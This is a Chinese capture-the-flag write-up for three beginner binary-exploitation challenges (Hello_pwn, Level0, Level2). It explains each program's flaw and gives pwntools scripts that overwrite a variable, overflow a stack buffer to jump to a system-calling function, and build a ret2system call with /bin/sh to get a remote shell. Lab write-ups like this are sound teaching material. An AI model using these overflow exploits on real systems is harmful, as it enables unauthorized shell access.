Hello_pwn

第一次接触PWN题,经历还算友好。

首先将文件拖进ida中,查看main函数:

分析main函数可以看到,系统会给出一个欢迎的语句,之后读入一些东西,并进行比较,如果某个变量的值等于1853186401,则会执行下面的函数。

查看unk_601068变量,发现它与要进行比较的变量的值是挨着的。

unk_601068占了4个字节,因此任意4个字节后面加上0x6E756161(1853...的16进制表示,用着方便些)作为输入即可得到flag。

以下是exp:

from pwn import *
p = remote('111.198.29.45','41314')
payload = 4*'a'.encode() + p32(0x6E756161)
p.sendline(payload)
p.interactive()

结果如下:

Level0

查看main函数,第三行打印了一个字符串,第四行是一个名叫vulnerable的函数,听着名字可以破解。

查看vulnerable函数,发现一个变量buf,长度为128字节。在距离buf128+8字节的位置,是返回语句的位置,可以将其覆盖掉,换成其它函数的入口地址。

文件中有一个函数未使用,该函数可以调用system函数:

将vulnerable函数的返回语句覆盖,并将其下一条语句改成该函数的入口地址,即可执行一些命令,得到flag。

exp如下:

from pwn import *

p = remote("111.198.29.45","56161")  #remote:主要用作远程和服务器交互,返回一个类似连接对象
data = ('a'*136).encode()
payload = data + p64(0x0000000000400596)
p.send(payload)
p.interactive()

得到shell之后,执行cat flag即可得到flag。

Level2

Level2的主函数如下:

从中可以看出文件中有system函数,也有一个需要被破解的vulnerable函数。

该函数与Level0的vulnerable函数很像,直接查看buf。

可以覆盖掉返回值的地址,将其改为system函数的入口地址。

但问题是system函数需要一个字符串指针作为参数,也就是需要一个地址作为参数,如何构造这个地址呢?

通过查找字符串发现,字符串中有/bin/sh:

可以借助该地址作为system函数的参数。

exp如下:

from pwn import *
p = remote('111.198.29.45','30241')
data = 'a'*0x88+'a'*4
#p32(0)是为了覆盖掉system的返回值地址,从而可以顺利的覆盖system的commond参数
data = data.encode()+p32(0x08048320)+p32(0)+p32(0x0804A024)
p.send(data)
p.interactive()

代码运行后可以得到一个shell,运行cat flag即可得到flag。